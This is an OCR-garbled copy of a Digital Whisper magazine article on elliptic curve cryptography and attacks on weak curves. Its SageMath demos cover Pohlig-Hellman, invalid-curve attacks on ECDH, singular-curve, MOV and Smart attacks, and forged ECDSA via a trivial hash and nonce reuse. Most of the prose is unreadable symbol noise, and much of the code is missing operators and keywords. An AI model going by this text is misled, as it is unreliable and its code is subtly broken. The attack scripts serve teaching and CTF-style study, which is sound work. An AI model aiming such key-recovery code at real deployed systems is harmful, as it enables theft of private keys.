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Let’s use this elliptic curve: p,a, b, G
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Sounds Good!

AszG }

B =dyG

Both use x coordinate of P as an AES key

AES, ("See you tomorrow? ")
AES,("Sure!")

Calculate P = dgA

Select private key dp
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Bob

Let’s use this elliptic curve: p,a, b, G

( Sounds Good!

PB = dBG

E Great, I'll save it for later!

Select private key dg

Select random k

Calculate kG = (xy, y1)

Setr =x;

Select message “I like you”
Calculate z = hash("I like you")

Calculate s = k~1(z + rdg)

“I like you”, r, s

Calculate z = hash("I like you")

Calculate u; = zs™*

Calculate u, = rs~?!

Calculate uy G + u,Pg = (x1, y1)

AN
Signature is valid if x; = r

Bob Alice.

ElGamal ECDSA™ 1 * = x {
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X X . P, L X , 1 0 XA A€ ’ﬁ] 24“,,5" S v X ~" '|~

FXxTQ Xs 0] da @IQe . vidx s, o X 1T f s xbBxs D 4X
i 1. s i xaéenq 1. s Do *Alpl L x5Ps. Q.0 p

a

x X jxxjl v 4], s Y X SF isx f ss s '¢FQY g _Qi-aesa p
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sage file.sage
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1. x> 4 s ]Z[:X‘L X '|~Jv”Y:AX~quv ,Z XJ”XVN sd~s§lv>qs -|E(x‘]\:~'|k:
ot ex o bl x4 dws v Al s x4 T A4 0 s 4
@ 0 QTN QT T o Qs sl Ys {00 64 -
6 Q Q Q Q Q iw o
Pe v s AN T S s T s x X fox 1 s 4
LS o« S DLPXD XS xx o Lox o 0 LA WX DS x X
b 1.« _ DLP{ _ *. .ElGamal EGDLPL. . _ _ECDSA™ 1, .~ x . * “x 4 {|
P Ll x ¢ NN [ B oA XY 3 14, X XI4" 1T, . R N A e
LX o] . L P I T e ZxAIst =4 ¢ . <« X Fd o«
X x x 40 1490 x L
ECC: x | . R
i1 x 1 oL 5x 4 s5Y Xt xq .. x ] U x {1 1L~ X
A bxex b SRR S B , L, XY xs . N
= s X EQQ:”XN xxv X 4 Yy x 1 | X ] . X L X "X
] x 141X . oL s , x (X x~ X =s~ X < .
bqy?” F1ECDSA L 47 L X EGDH L0 x - x < 0 L s ¢s L 1s . i
SECDH . . s~ _ X L .x < 7 x4l os T 41, s
4~vs>< x:,,¢A>< =>‘xs~ A|-|vs Lol oL X <mevs .|va5
X xe o, ox o bxes o x0T BCDSAL AAsF.% s 10
SageMath
-L s s ¢ 1.1 S 1T xs X o x Ix e xT i7" { BageMath1 | S
x4 T xex L, Sx g o T x o Pytfon™ Xs_ . 1 s X X CBythorfd, [ ¥S
ECC . _ w8 ! R I I PN L Foox XY sx G X s
L, Six~ T A iTs odAx 4 s 4D 17+« . x&s 54,
s hox o s Cos 1 es 0 2204 ~, s.iyx*e Ubldntut:ssy . dAst 1t L. .
sudo apti nstall sagemath
s lox . S :lsage°:-|v,,xs-||_vx P . X X S - . X oL ~.| ,
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1 I {Python . |nterpreter-. s x| T X « Xlnterpreter” 1! _ s_.SX_ .

sage
sbx o s sageall s 4 dimport Xk s ko Apy A X 0 - X 4L
python3 file.py

s | x s 4 x X N
sage
o T I R U N R
.XOr-| . s ¢s T
:SageMatkh*  * x « X s Dx o Tx X o4 X
E s _ X< rd.x1.-Egens()-741 - _
G ~x1.,"¥s | -Georder()s T *x _ 11
n -, G *x1."Yysp*G f, |s
cxy x € s ] e X, 4 ST ] S X poSS X0 s Leonfaetor()
N I T I SR DXl . x0T X R % RQY . s xusx s
n . _
174, s L T Fert yxoooxoxo
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1 S A4S OHYE XSy 1 £H 0 UET ., ¢ XHCDEPS H A% % 1.

~ A~

BabyStep + s 4" { % , s 1 *s Coe Fdos X Fd . ¢ 1 Feasiolg -

SL.x 1 v xo] o sivs 4 {t2HEKMNIROE 2F £ Y ORIOEStew R 2 {7
discrete_log s 1 « « 7 x X SageMdth : A9 1> o |

random
random_prime( 232)
random.randrange(p)
random.randrange(p)
EllipticCurve(GF(p), [a,b])
E.gens()[ O]
G.order()

private_key random.randrange(n)
A = private_key G

found_key G.discrete_log(A)

found_key G A
private_key found_key
print ("success!" )

11 s s N x 4
(Smooth) «~ »1 , . «Xxs x4,
o P S R Clhox O” — R V~J L oLx " . "Ly . nox
= q ¢ . 1|_+*ux~\,, F{y,,éxyé_ﬁf)gs%\“j LL_Y)1§:X
. xs S “SidothNambg ~ x v+ 0% » , (. ~~~" EEDLRP: « ., x @ L
S Il y s s I x % x "oy S s 11 ] q =1 b S
.X”L'IX X :_I.IHXXL” "LX s ” x
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cxbys "oy o "E QO_ 4l 0C¥HIr R s x0T x ko Lox |
A4 ke s T A TE T s Py A e B or e XY by x T
XWX T I T Ry A se o x0T Ls 0@t vi X _Igw0rlox oo o7

Q4 e x0T kA7 FTes T4 LQ D v e x o x X s 4 Xs Do,

cds o ox s . { PohligHellman Algdrithth = % 4 ” 4 & .« {: s N .

MK P s L BS LA X AT XA SRy s XLy 6 T X s 4

LX 14 o~y x s 0 4" os EGDERIYA 4. ™S T uixxsq Xy

~ ~ ~ >

1o X v xs ps X xlys FA 47 MHyd s Xped* L&Y L X8 g .

C L L oxy (I LL Z,_xILxxyA>,,I s.|A><s ‘x,,Z> 0‘pf-|JxX.|v

. Reasiblg 1 _ ~ L4 _sq4 s Tx.,. . ] xs

A~ ~ o~ A

183740305291166889900894879302858411333
13
g
EllipticCurve(GF(p), [a,b])
E(123764810000715262449972298016641419881,
144640915410606177233842123838934486566
n = G.order()
print ("number of bits in n:" , n.nbits())
print ("n's factors:" , n.factor())
print ("number of bits in n's greatest factor:" , h.factor()[ 1][ 0].nbits())

random
private_key random.randrange(n)
A = private_key G
print ("Calculating discrete_log..."
found_key G.discrete_log(A)
found_key G A
private_key found_key
print ("success!" )

s e dd T o e d Xy L X N T R R B

number of bits in n: 128
n's factors: 2*3*13*101*211*21141581 * 38581057 * 60652309 *
2234328781

number of bits in n's greatest factor: 32
Calculating discrete_log...
success!

Elliptic Curve Cyptography
www.DigitalWhisper.co.il
H N Hane * X< 166° X { L Y

SL-

X



Technologic

1 v 447 x v ] s XWHLYd ~ % X X8 s g, s b sy
1o x X «xs  x soo X 4 xys

R I T N R P FRE EE S FINE N
=XJ17 « X S '_.I\_|XX X -|1,, S '| S . s”g"lx I"I

J40ea*0 P x 10O k4 A4 L A e sy x o s LY

O UGKTO GO S X .0~ KISY X L _oGwik TpTULSIX L vt X

s{s{ sO ;s _-*X1" -, _ X0OJ)] g0F I " 0s” L ox "ty
w20 X TO.s 1 x &7 R IR AR O I L S S S I l T ST LT} L X~

s | x "L X {1y " , " | s g0 leT[:‘O [E I svlvx wF . ZA"1 Yi"~ X "’I s " I x
, S 0wl st xsox oty s s TiOso0 @ T s . 0
Pl ey o e xoplw b SV G s O o ovkep S Yy s o 0 4

O o0 pUO Al YST A4 _LOY 0G¥0 PO s xus ipluys {4

SIX\\'I”IS?"\XI-"]“L 'I"X“ s "LY noox -]'i” ” _":X'i _'I'I”Av

d@e s 1 X "D s N s g TeddlT LT s TETOS L XX T GO0 X b LY os x
X0 T4 T lalx, s . T 100 X 4. I8 XS, sy L xR dedat @, S € S L X

A oxYys 4T 0 b Y s O Tege ise o ITx s S0 XDl X s g@X s wy pd L0

FdvXs w4l T18p F 8 x7Xx7x4gsy oy sy

tk tx G éQ
Ek t2 €@
tk t G Q
> x 47 d s X x4 g st ldx XL~ T4 s e s
{.X. s s4 Xs « . X
Tt 4. s M S x. o Texs Lxf, 0y
oA . XY L - . s X D S P L | s s X o FodoL X«
ECDLP : - X LS Hs o 11 ] i1 L x by - XS .o X 40X Lx b ys 1

x

1A 1 » x v X wxs L, Ix{X X Ippscl A% ¥ X x5 xS TS, H 40

, 11 s 10 s T« X« _ul! Xyl BohligHellrban Algodthm + = 1 ~» x ¥ | « s

1 L s S

~ A~ ~
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X LA { % X . X < . X o L\xis¥<.‘x><|_Jx><~v=::.|s"

Lo L hox oy ox LY "s F”v‘ Lo X X1, " Y s LY

sy G, 14" T4 ag XM X T oo fa st luxClsx (sTlgx (T s, X
aeXx g 4 x by v 4. L B

170X , 1 Flox ! ys " + PbhligHellmans Algarithm ¥ & "4, K
N T P Xod 1i.x 08 0T s s X X S S I

x 4 s A FS L Fd A e d ey ly S xMs LSy s 1401 s

FLoXoo X "4 o 5 S o~ LS s X

S NN s 11 x 7 . x P4 X L .17 F S

ATt st

10X X4 S HAGH X S, G At xHL . s, (HH*_ s

88664572752015126127869404674421545790506871948117527783533589813159111825511

13
37
EllipticCurve(GF(p), [a,b])

E(1937497631678964865202226095583934561553454311144967863145605756652014623129

863081947205448932366432476600202331577550921434481102534573568044070788847)

G.order()

print  ("Number of bits in n:" , N.nbits())
factors n.factor()
print ("n's factors:" , factors)

PRIVATE_KEY_BIT_SIZE- 64

random
private_key random.randrange( 2"PRIVATE_KEY_BIT_SIZE)
P = private_key G

print ("We know that the private key is"

print ("Lets find which of the factors of G's order are relevant for finding the priv
key")

count_factors_needed
new_order 1
p, e factors:
new_order p‘e
count_factors_needed 1
new_order.nbits() PRIVATE_KEY_BIT_SIZE:
print ("Found enough factors! The rest are not needed"

factors factors[:count_factors_needed]
print ( "Considering these factors:" , factors)

print ("Calculating discrete log for each quotient group..."
subsolutions ]
subgroup 1]

p, e factors:

quotient_n (n p e

GO = quotient_n G

PO = quotient_n P

k = GO.discrete_log(P0)

, PRIVATE_KEY_BIT_SIZE, "bits long"
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subsolutions.append(k)

subgroup.append(p )

print ("Running CRT..." )

found_key crt(  subsolutions, subgroup)
found_key G P
private_key found_key

print ("success!" )

s e v e 4 XY L Xy A U . X , 8%

Number of bits in n: 256
n's factors: 2*3*29*2699 * 28751 * 831913766251 * 92996710252298530263979
* 84878782522781478604307230464271

FSX  p 4L xlbys 47 11 v 447" Hpeh s %A ~Exs . %1 4 S,

-1 ECDLR * + Fos X ” X L 1 . s 4s 4 M, WA kA XX ¥ s

" A X " v XS L x A x X ey X ¥ AT A X T ey de A
x5 L. cmx x1 s x It x L e ' Fo

We know that the private key is 64 bits long

Lets find which of the factors of G's order are relevant for finding the private key

Found enough factors! The rest are not needed
Cansidering these factors: [(2, 1), (3, 1), (29, 1), (2699, 1), (28751, 1),

(831913766251, 1)]

Ll ox X xos o Dl @e X)X X T e e X T e T X
-xsubsolutions - *x _ 4 _ ~»* 4. _x 447 x EEBLP%+ A _p t ¥ sx 1 opxs Doxh
1+, .8 41 1. 174 ,s x4, s 1 1 .,¢ &ubgfoeps - X I s L |
=x 1 R v XS oo« 1ox X

svx“As L \‘V" slx“”~ S

x X4 LX X v s AT s T x o e i qT , o414
1y 0 X v x Loxo o TAFO b AP T @y e~ d o Y
x| s (I)'-leix s”vv s”x~~ , 1~ s X , XX FY X .
.|”~s I‘sv LX“V \xs~ slx“”s~ \Ixxv L ~v2~vs v
Invalid Curve Y x s UL X Xt v s o XX sy xg s o Gl o T 1. xX

Attack

20 11 s A, axdd XAl oy b X S L, ox_ 41, s &

~

Txooud. ot , Tl 0se xS XX Xs LS "Cpd RS S
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curve

G

n
p
a

private_key

«o 1T A xS s @ s s ex x4 4SS S s k]
xs~ s | x ”s~ hoxexo '|,,~xv-| N\y,_s ~|_V\Z ><v|_s~~ G],,-{sx’lxx.|“"’ss 1 ..
X S . {1 ., x X 4 (s 1 .. S N T « 1 q2 vs VNX <SS S SL‘|AL \x‘w-|”J . S| «
-|va$ s ks s,,xv\ ‘-|s~ s I x "L {1y 4 x X'-N -|-|,,>
) L, ] s L X . . :”J]E@‘DH LX XS x,-|~xv,,:>~sv S . |y s X X" q <, .
X T O L L es s LD sthexols oo e s 4 Xy
-|~Vs,_ 11 ] . x~vs cq xvs sl‘@( “s"vsx “LAAS {VA VL'|>J~SV .
Toos 1T LSt X T E R ks x X {1 os 1y
I x's's . X L T 41X oo X L -1 sy s . x .AES ¥ S s I xs
” . X S
) .XX e X s x 14 . 0 % O'N\>.|)g)s<’|_~~v s,,Isvlsxh‘“ TELX XX )4
”>‘xvs sAlxss - s'|v|_-|“_s:><v T’SA.{>”V.|~><V] L osv.|x , x A
R . oL X . G“{SVLS]LZS,_SXJ:{x:“"’x29<<.‘,s sl x o "s =0y
) , x)vf,x:"xl XX'|"11X,|,f:~V'- bxa _p . x4H. saxTs s L
1Yy 44 v A A T s e T o p Lk A, e dishoysx© o { ] xos
Ll 47 S N T T B x X P
. X « S S~ U x”-|\,,~ s L s s ¢ =>x\>< . oL
lox o 0wy, Do T lx 0L L L X 14 s X
A-|s I x &7 . A|X-| (“x S IA-|s I x "L A-|y-|x X
LSk e x b A TS X T Lt T Isx ¢ s,
X x oxe o Xl 4w x s LY s Xy 4y X S L o L
s e ol sl v axYy TP el x X g x X 48440V
11 s 1 . Lot L x 1A L~ X s XL N
X 41, s 1 LU S st~ k. s s LS “1xlv
. Xs

ecdsa.ecdsa

Crypto.Util.number

Crypto.Util.Padding

Crypto.Cipher
random

curve_128r1
generator_128r1
G.order()
curve.p()
curve.a()

generator_128r1, curve_128r1
long_to_bytes
pad, unpad
AES

random.randrange(n)
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def encrypt data (shared_point , message:
shared_point.is_zero():
X,y 0, O

X, Y shared_point.xy()
key = long_to_bytes( int (x)).rjust( 16, b"\x00")
[\ lon g_to_bytes( int (y)).rjust( 16, b"\x00")
cipher AES.new(key, AES.MODE_CBC, iv)

message = pad(message.encode(), 16)
cipher.encrypt(message)

decrypt_data (shared_point , enc_message):
shared_point.is_zero():
X, Y 0, O

X,y shared_point.xy()
key = long_to_bytes( int (x)).rjust( 16, b"\x00")
[\ long_to_bytes( int (y)).rjust( 16, b"\x00")
cipher AES.new(key, AES.MODE_CBC, iv)

decrypted cipher.decrypt(enc_message)
unpad(decrypt ed, 16)

ECDHA):

shared_po int private_key A
message = “Inconceivable!"
encrypt_data(shared_point, message)

def brute_force_encrypted_message (A encrypted_message , max_order):

i range (1, max_order):
shared_point i A

decrypted decrypt_data(shared_point, encrypted_m essage)
decrypted decrypted.decode()
i

Exception ("Did not find a value for one of the encrypted messages"

def find_curves_with_small_subgroup (p, a, max_order):

orders_found
b=0
True:

Elliptic Curve Cyptography
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Hane * X< 166° X { L Y




Technologic

E = EllipticCurve(GF(p), [a, b])
_ range ( 100):
R = E.random_point()
n = R.order()
f,e n.factor():
f orders_found:

f max_order:

orders_found.add(f)
P=(n j] R
P.order()
tP)

subsolutions 1]
subgroup 1
max_order 10000
upto 1
order, A find_curves_with_small_subgroup(p, a, max_order):
upto order
print ("Found pointwi th order" , order, "so now can find keys of size up to"

encrypted_message ECDH(A)
key_mod_ader brute_force_encrypted_message(A, encrypted_message, max_order)

subsolutions.append(key_mod_order)
subgroup.append(order)

upto

print ("Found enough values! Running CRT..."

found_key crt(subsolutions, subgroup)

print ("Found private key" , found_key)
private_key found_key

print (“"success!" )

x X D L, s ,, X [ X i1 . 1 - . ] X % s , S
L x ¥ fnd_cufves.with_small_subgroups 1 « <ECPH s x « x 1 x ., X 1 x4
S"X *S LJ s X“ L :“‘ ” SlX“”S 1=-I\ ‘I
FL T oeox XX T ey x 6 o4 L s X XX S s, o8] 4x
" . X s I x s x " FloL X . X 1.

xpox boxo U Lo 11~ s 1+, _s Brute Fokce + + X « X | 1
A 11 ] 171 s X4, s 1, 7 S B . X oL oX

X « . S S { " qX X 1 1 s r 40 s ss g s A .% s X"
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v X $\/X , X s o xi""s | L x « X . X S AES” S s s q 1]
X s WS X s L xoox o
L Lo~ xs L Iox
Found point with order 2 so now can find keys of size upto 2
Found point  with order 197 so now can find keys of size up to 394
Found point  with order 4729 so now can find keys of size up to 1863226
Found point with order 5 so now can find keys of size up to 9316130
Found point with order 7 sonow can find ke ys of size up to 65212910
Found point with order 251 so now can find keys of size up to 16368440410
Found point  with order 3853 so now can find keys of size up to 6306760089973
Found point with order 3 so now can find keys of size up to 189202802699190
Found point  with order 31 so now can find keys of size up to 5865286883674890
Found point  with order 41 so now can find keys of size up to 240476762230670490
Found point with order 53 so now can find keys of size up to 12745268398225535970
Found point  with order 109 so now can find keys of size up to 1389234255406583420730
Found point with order 59 so now can find keys of size up to 81964821068988421823070
Found point with order 67 so now can find keys of size up to 5491643011622224262145690
Found point  with order 139 so now can find keys of size up to 78615489172438250910
Found point with order 47 so now can find keys of size up to 35876903794927991104597792770
Found point  with order 683 so now can find keys of size up to 03925291935817924440292461910
Found point with order 739 so now can find keys of size up to 0569446161376129351490
Found point with order 13 so now can find keys of size up to
Found point with order 19 so now can find keys of size up
Found point with order 181 so now can find keys of size up to
Found enough values! Running CRT...
Found private key 317478138448458883020444580626044847652
success!
Xl x " s L R s = ogX P O - e ir X{Isy ss . K 4 gx X x s
TA4X L ix{4X | Briteg Force® L ¥ X S"ss 1 X vlx v 4 s s
fvs s s Tl S e S T T O O N e S N T T
sl x " s « ox x . oL s « 4 s s ¢ S, o« X s X s L, X
11 . ] X X .« X s , x " X s i« I *x x
1 x141> JECDHUJ _ ~ (! 3¢ _x_,4_ o 1°
1. L0 xyY " A S X«
«is v qs 1. ¥x 1 4. s Tx X xix{s i xFk]Ts{3xpx$s
I IV T I T S, SE A, A ASusxS Y XA
= x4 x x s .|\d}xd,|_F|;;;|j,-}‘;§~§|_t-|-|“ . s € Lt
T QR T
17 o {1 « 1.0 xy 7" 4 s x " e A i A X xos
J1 s~ uxy T4 sX podé Y xS __ X easprned8- S )7 IxDx o7y
s X< Lo kAT x v ded 0 AT o xC  s o x o7 ]| .~ q* s 7
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~-| ]~ X X , © q S~harp} ” :'V [ Xﬂ;”iséquuép y’sx(wv sslIxx ("7 o -

[ « 1 « - s X

V= V=x-3x+2
cusp node
[https://mathworld.wolfram.com/EllipticDiscminant. html ]
s L, 0 x (X s X o s e X X '~ node ¥ ¥ .o XX
W W0 0w a£n
s,,x‘L(bA(‘bysL”){g)vsx” st >|_'|s 11 A Lo s'—‘v,, svx“
W 00 o o a8n
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b, LS Pwhor Aselix o7 L] o I B A LX L S
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Ak w44 Hd. FoADs ESQ | LOPKD D ox T ox e S
oo~y x b x4 o 4 xs s CDEP 44 SX S uEQ N s o
X MO kA . s X v X X XXX LS ux S X X T,
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X G s s N x s L = {7 s X s E
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https://mathworld.wolfram.com/EllipticDiscriminant.html

(4*a"3 + 27*b"2) %p == 0

1777671135698746847568710125129424132255529153914112337834835240247819869964
6786424314307625790108882554225666781375821855884993473586521771737454762217
45541468695354471317248123146376609839909398850045396377931300808635064950836
42191909885728105279718027025083923092282618497451601162405594991792376530066

GF(p)[ "x" ].gen()
x"3 + a*'x +b
roots f.roots()

len (roots) 2
roots[ O][ 1] 2:
double_root roots|
sin gle_root roots|

double_root roots|
single_root roots|

print ("double root:" , double_root)
print ( "single root:" , Ssingle_root)

Gx = (Gx - double_root)
Qx = (Qx - double_root)

t double_root single_root
t sqrt t.square_root()

def transform (x, y, t sqgrt ):
=y t_sqrt X) (y t_sqrt

g = transform(Gx, Gy, t_sqrt)
g = transform(Qx, Qy, t_sqrt)
print ("g:" , Q)
print (*g:" , q)

print ("Factorsofp -1:" , factor(p 1))

print ("Calculating discrete log for g and g..."
found_key discrete_log(q, 9)

print ("Found private key:" , found_key)

Crypto.Util.number long_to_bytes
print (" The secret is:" , long_to_bytes(found_key).decode())

L O Lx s .x s XS T R el i
pAd . x s b4 1 OO SRl Lt i x g gs s X o
L. o~ X d | s A¥Q i 4 DO X T.x w7 s Lo Ix Pl KT
DLP * «~ v+ 4> _1_ _BLP e (X wt 447 "~ 1« «~1I fJgxp A

¢ x ., 1 S v . X s
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double root: 1

single root:

102360775616927576983385464260307534406913988994641083488371841417601237589485

g: 79308184675041981395063385790064051127319168083579208141274962436724168376607

Q: 72551144069373709737718398534799929820619379063890479978458954196900267190559

Factors of p-1: 2 * 41 * 2422091127107 * 3224683479179 * 3224849279789 * 3269304069319
3792634171577 * 3997021218613

Calculating discrete lo gforgandg...

Found private key:

30943506368388267314266516224984737426569114488424608324579076903023329506337

The secr et is: Digital Whisper is pretty great!

x o=y S, L XY " S X XXX Ly Xy

T R X ] x| X 4.  SageMath : x| x .

{000 st x oms b o x T KOs xS xd Pl o xpoxus Do
.Double And Add+ - 4 ~» x ¥ o« 1L x A U I B

~ ~ o~ ~ ~ ~ A >

1. L %Y "4 s X . s

1 1 * BnbeddingDegrees ¢, « x s x| Al sx L x ey X, 4 e s xS
11 AN kp de&® s~xx _ s 1o b {4Q. s, s x XL sT sy x L, X
1.1 7Q 4 %8s !

S XS TAG  THATTY) A 1A X e XdSe X X ]T XX ) (X oy

DLP : fECDLP: 414 > "« .4 _ s T4 DX 45

A ~

MOVattack © «~ » ~” X € s DLP 44Xt 4L d*., x5S X s s x

> va o~

.(MenezesOkamoteVanstong¢ s . _ 1 « 1 s L Xy !

R L AT N BV

TatexPairing *Weil Pairing ~ s = 5 x
S"XJ.('X%I-.{”C)F&V:XXIX“H y x ¢ L"YLS_I-‘V;{*‘; ,,;chf,,x]~ .

. *YTax 4 s Iox " I RN LS i ¢ I S I AN O I Y I I AL B

LDLP © 44 % v Lot OYDRYT DYECEY NG . Q0 iOx YOIy

x
—_
s
N
¢
w
x
-

Hoo s 3% A4S R(d X L gQ KX x|

~ ~ ~ < v v o> > >~ v

x € s - . 1. X 7+ s « 4 1 : s L

> ~ v o~ ~ ~ a
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682209701131405092329016993551
85
98
EllipticCurve(GF(p), [a, b])
E(516365702870683577608927237052,
524474557735717484100814381066)

Gn = G.order()
k =1
Gn 1:

print ("Found k:* , k)

private_key 5072587499125503347
Q = private_key G

EllipticCurve(GF(p k), [a, b])

EK(G)

=(0))
Ek.random_point ()

Rk.order()
gcd(m, Gn)
(m d) Rk
Tk.order() d
(Gn*Tk).is_zero()

Gk.weil_pairing(Tk, Gn)
Qk.weil_pairing(Tk, Gn)

g " private_key o

print ("Calculating private key..."
found_key g.log(g)

found_key private_key
print ("success!" )

Crypto.Util.number long_to_bytes
print ("The private key is:" , long_to_bytes(found_key).decode())
x | »  Embedding Degree 1 -~ . A1 X T S P
1 1L 1. , 4 e X s s X L s s ¢ s X W H X ¥, 16y s, o
s X e s T EO-X 0O X uxoxng 'hsx x| xh_ KX X | X Eo ” s
& v o1, s oLt os 0 AL s X
P4 .Y xS AX Qe 4% 0x"@ Tox 1 ox (7s - R ,

S"XJ" =J\. SLX“:S S« . X I s |_-|\.
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Found k: 2
Calculating privat
success

The private

e key...

key is: Festivus

DLP - {14 X . - % Index Calculus ¥ X ~ _ ¢+ 1 _ "4 . XY |« P X qs L B
7 7
S <« , " s ¢ s QA x 14 % s {1 L X « )_(-|JXX-|VX oo © FoA xA S X ,
Le 52X _Ar X x. < 4s ¢ IECDUPL* 4 ¢+ 4 _ i 4 XY v _S«xXx 5%
T 1« T T« xxEmbédding Degree . s 1" s PLPII<{S4x_ X I« Lox I
1L _x"+« s _x( s
qﬁivXLXIXVX'-N ()S-HILXANS)(xIx“"s XVJ) svx“hs ,,Iv~ s "
s Y NI Qar Jtids O1: _ L AdomalousQurve) 1 € 4 L ( X "« S _ X« s
x 42X x4 7)) X« 0 L r f-adic humbe} « § )4 F £ .47 s> I 4 . (*
S . X S X% oxs 4 Cdx T x>0 L r oA bd A
i ©h O N E & &n on E

X « ¢ 7s x x4 ] X 1, xm "« T x ks ¥4l v % Hs X S 3
Tl TR N L e T N .. LS Xof, L oL XY EAd ]S
x P17 x ¢ T~ S I~ O I I I S Lo+ | S I
kL T T "rdcdYy . "s o441 s
s , X (X X X 4 ¥)‘|;j: ,=i<qu <va },-|V”,,>,,>< -|'>,-|‘ x X

S . X X D R

_n_s [ S Lo X 4 s , Iy x S I s X« s " X L]
L X 4. x 1 ox 7 s L 0F A0 L xIx,x” Blos XL fs X
a . X LS X4 3 X s x oxooms x 174, x

s . s . x . X s

def lift (P, E p):

Px, Py
point

magZZ, P.xy())

E.lift_x(Px, all =True):

magZz, point.xy())

Y
Py:
point

y 7%op
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82880337306360052550952380657384418102169134986290141696988204552000561657747
2641368528438555560418154028802167897130131437852254446987927035560843743231
10017655579196313780863100027113686719855502076415017585743221280232958057095
EllipticCurve(GF(p), [a, b])
E(37991937053350834320678619330546903567320901767090609881924528835279022654346

2894720871825288006173576250675635127069075978732800286053352115837132331595
E.order() p

private_key

28153370716511608040616395150859085058202177279382452583684367923334520519740
P = private_key G

adic EllipticCurve(  Qp(p), [a +p*13,b +p*37])

E_
G - p * lift(G, E_adic, p)
P - p * lift(P, E_adic, p)

Gx, Gy G.xy()

Px, Py P.xy()

found_key int (GF(p)((Px Py) (Gx I Gy)))
found_key private_key

print (“success!" )

Crypto.Util.Lnumb  er long_to_bytes
print ("The private key is:" , long_to_bytes(found_key).decode())

S>“:v5 - I'-I,\‘Xv C < X LoX L |_-i\.:v5 -I”Xr‘]xT‘JS.

L R DX Hx Q@ T XL oX 42X . IS e x s s 1
B T T ift Jssixe T x s 16

17 L. W s 1V dd s e d s L x o X T A 1148 1]

. X S i, L. VZ )xI.|x,, X~ v@CVDL:px I =xx, 7% « s S

~ >

success!
The priva te key is: >>>>> Extraordinarily Nice <<<<<

X ¢ sr‘]"xg}qq%. s X . s L. Dxlox (" s S s 1oxx X s

,|_-|h-||J+,,>VV Lo svx“AX X lox " =] x s . p s X
x bxo”s 40 0 kAo kA0 YROXDAKEX T Hdq .S
L, X sl 08 S L8 p xS 1° Lo Food .Y x s
I e N A e B B I S v 1~ S v 4" ..
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ECDSAL.  x x1 { I x

s4 L, 4.+ x1_ dhdsh v 4 _1NMxs s [

e 1T« XL s“hasﬁsv Z,\shl,l-|x><s~s'| L ~Z 1« sAIxs L sv-|2

L, rdAYo b _ooos AT 0 oxs ool ox A X o r I s o d A NEX
Fd14xs thashsr LT « x4 " x4 s Fd14xs ©shashs T «*ux  pHXT« X X

. X S s,_~ sv-|3'|s L. A-|>~v~ sAlxsX I 474 s « L 15 ’SC
sAIxss T I s ,,-|\~s|_ LJX”]\iS"__jL$v>S|:]BABXASXS

s-|x~> o s)\ . x ¢ {1« X1 ,,\~.| sv.| 1 s x

chash s {1 L | B .|va s 4L xV:]Zx S « X's s I xss

€ x s Pigital Whisper - +  « 14, 44 )] o+« 11 1, « 1"a .~ 4

. . X i L Ll x4 xs~|_J Lw X S L X S . A‘X-|x
S « X's s I x s s

2 N I T U S IR IS SN AR R AU o GRS [ A R

oL .ZxLxA>s - LA‘|_X\(-| o] W XXsTx s,-|xs¢2 sswl.|x:s'|s [ T oY
P )

\.xs

ecdsa SigningKey, NIST256p

signing_key SigningKey.generate(NIST256p)
verifying_key signing_key.verifying_key

class MyHash
def __init__ (self , data):
self .data data

def digest (self ):
self .data

message = "Please transfer 1,000% to Digital Whisper"
signature signing_key.sign(message.encode(), hashfunc =MyHash)
verifying_key.  verify(signature, message.encode(), hashfunc =MyHash)

evil_message "Please transfer 1,000% to Digital Whisper and 1,000,000% to
Eli"

verifying_key.veri fy(signature, evil_message.encode(), hashfunc =MyHash)
print ("success!" )
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UL S . X v S w1 oL YG(’.‘d§8. sI-|x,,“>><v x s,_A-|x~|v-|Z s xs“qA X Ix x
Cbox L, s 41 Rt e 1S x s hdsh sis{ { L« " oxs {0
X w8 1 _ hashs . Isxii FXow R X UX s oss Do g 4% P
S {1 1 s « lox ox I x o s X ,Z-|"xl<.‘ S I x s oy x =]
{7 x 1 ¢s s I x s FY S i«
i EEEE U S x 1 x 4 - X qd i1 11~ s 1 ,
i~ X DXL X x4 oS 17 x N X I
X " X X q EOX X « X | q
I x : SO 12 sk dr Y S, x X1 : s , s I x s L
x | S 4 Il L 7Tl T sk x TQHXIX, L 1% s d " kox oo X x ] s |1 xs
. X 1L LX 1A . X L, Q1 XXIIXXaew X 4 . YIS S p X I X s = s
. .S Lo 11~ s 1 ,
TR G iR @ GE® T 4. xX 4. T xuX Tox 0 s
X Yy X {7 1 o XX $L- X X {uX 1L X X ",x X I x s q L
14wt XL kAL Q8 ey s xIx XD TR OXEAS S84 a1,
i i Q& i 0 a i 0a iQ a iQ Q& a
I B B o R B T R S
- @«
Q - -
l l
X 1 s 1~ ] X s L D10 Sv ] S X S. *, 11
o I Vo T S B
i O oa i X a i a ioa i a i iQ Q
N x 11 <“XZSTQL:‘V4,,KQX<ZS’5L~ sq_x.iﬁ"|4;},,AsAT><’s.|sLx~
. v ros s X, wxs s o bxes 0 Q p i SR a0 x T4 X
Y 4 S . XS X L 14, s
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curve_256, generator_256, Public_key, Private_key
bytes to_long, long_to_bytes

ecdsa.ecdsa

Crypto.Util.number

hashlib sha256
random

curve curve 256
generator generator_256
n = generator.order()

6743529130774090927928101169617481154782309
Public_key(generator, generator secret_key)
Private_key(public_key, secret_key)

secret_key
public_key
private_key

k = random.randrange(curve.p())

messagel = "Life is like a box of chocolates."

message2 = "You never know what you're gonna get."

z1 = bytes_to_long(sha256(messagel.encode()).digest())
z2 = bytes to_long(sha256(message2.encode()).digest())

private_key.sign(z1, k)
private_key.sign(z2, k)

signaturel
signature2

inverse_mod(signaturel.s signature2.s, n)

found_k (z1 z2)

k found_k

(found_k signaturel.s

inverse_mod(signaturel.r, n)
secret_key

found_key
found_key

print ("success!" )

print ("The secret is:"

, long_to_bytes(found_key).decode

C . XAy g

success!
The sec ret is: Mistakes were made

Tx Ty o s Ix 1% o MAMAY % L4
X 4T L, xt 11, . %0 HAAL A8
1 le L 4xxs . x1s T B
X o N s 'I,,, . s X X 0 X=y ‘IO‘I‘H"VS'IL'I L K 1|
S L X "X . Sa i

b HH 4 Folos

L1y

L
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i -
, Lot 11 s 1 .S v X )
1 LSy v 40 xs 0 o0l e x e b4 x4 e R KDL
X s R s _xi1 s | xs 11+ o x . _BrutglPokce 1! 4 41d, s 1
x "o v { _ 4x Tx 1S Idha e x XY {9 PTIx s s x| s X " .

14, . s 1:  _s
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Sr T AT i X L X N LY s g X X DX o [Shagh ST A4 _xse T s
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DA 1T A xS X e X, e xs Do Cs
DoBased L {14 lees o b4 o xe s S > x  x Delddhe, o4 L T A
